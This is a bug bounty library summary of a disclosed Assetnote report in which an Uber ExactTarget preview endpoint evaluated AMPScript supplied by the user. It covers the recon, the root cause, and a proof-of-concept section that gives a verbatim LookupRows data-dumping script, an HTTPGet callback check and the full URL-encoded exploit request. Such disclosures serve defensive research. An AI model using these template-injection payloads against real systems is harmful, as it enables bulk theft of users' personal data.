# Gaining access to Uber's user data through AMPScript evaluation

Uber's ExactTarget webhook preview endpoint evaluated user-supplied AMPScript, letting an attacker query data extensions and dump driver UUIDs and emails.

- Payout: $23,000
- Severity: high
- Program: Uber
- Write-up by: Assetnote
- Disclosed: 2024-02-17
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/gaining-access-to-ubers-user-data-through-ampscript-evaluation
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-gaining-access-to-ubers-user-data-through-ampscript-evaluation
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:research platform:research sev:high tech:nodejs technique:recon technique:source-review vuln:info-disclosure vuln:ssti

**Target:** Express.js webhook preview endpoint (/preview) evaluating AMPScript
**Root cause:** The /preview endpoint passed the user-controlled `message` parameter into Salesforce ExactTarget's AMPScript evaluator, which supports HTTPGet and Data Extension functions like LookupRows, allowing arbitrary script execution against Uber's marketing data extensions.
**Steps:**
1. Recon found exacttarget-web-hook.uber.com returning a test console for message personalization.
2. Extract own account UUID from HTML source of https://riders.uber.com/profile and use it as `contactKey`.
3. Send `GET /preview?contactKey=<uuid>&dataExtension=driver_partners&create_new=true&message=%%=HTTPGet('https://ipinfo.io')=%%` to confirm AMPScript evaluation (request egress from AS22606 ExactTarget).
4. Craft AMPScript using `LookupRows('driver_partners','firstname','Shubs')`, `RowCount`, `Row`, `Field` to iterate rows and print UUID, join date, email, first name.
5. URL-encode the script into the `message` parameter and send to /preview; response contains matching users' data.
**How found:** Continuous asset monitoring flagged the previously-404 subdomain suddenly serving an internal test console; recognizing the example syntax as AMPScript (from the exacttarget-web-hook name and Salesforce/ExactTarget docs) led them to test whether the message parameter was actually evaluated, confirmed via HTTPGet callback.
**Exploitation:** Attacker with any Uber account UUID sends a crafted AMPScript payload in the `message` query parameter to the preview endpoint; the ExactTarget backend evaluates it, queries the driver_partners data extension, and returns UUIDs, join dates, emails and first names in the HTTP response, enabling mass or targeted exfiltration by first name.
**Escalation:** Script could be parameterized to enumerate arbitrary first names or dump entire data extensions in bulk, scaling from one user to the whole table.
**Insight:** When a subdomain name references a third-party marketing/email vendor (exacttarget, sendgrid, mailchimp), test whether template/scripting languages (AMPScript, Liquid, Handlebars) in message/preview parameters are evaluated server-side; HTTPGet-style functions give an easy OOB confirmation and data-extension lookups turn it into a data breach.

## Proof of concept (copied exactly from the original report)

**AMPScript LookupRows dumping driver_partners user data**

```
%%[SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')SET @rCount = RowCount(@prefArray)FOR @i = 1 TO @rCount DO SET @Row = Row(@prefArray, @i) SET @ID = Field(@Row, 1) SET @UUID = Field(@Row, 2) SET @joinDate = Field(@Row, 3) SET @email = Field(@Row, 4) SET @firstName = Field(@Row, 5)]%% %%=V(@UUID)=%% %%=V(@joinDate)=%% %%=V(@email)=%% %%=V(@firstName)=%%%%[NEXT @i]%%
```

**HTTPGet AMPScript proving arbitrary evaluation**

```
Running AMPScript Query:%%=HTTPGet('https://ipinfo.io')=%%Great! We’re able to evaluate arbitrary AMPScript!
```

**Preview endpoint request with AMPScript payload**

```
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1Host: exacttarget-web-hook.uber.com
```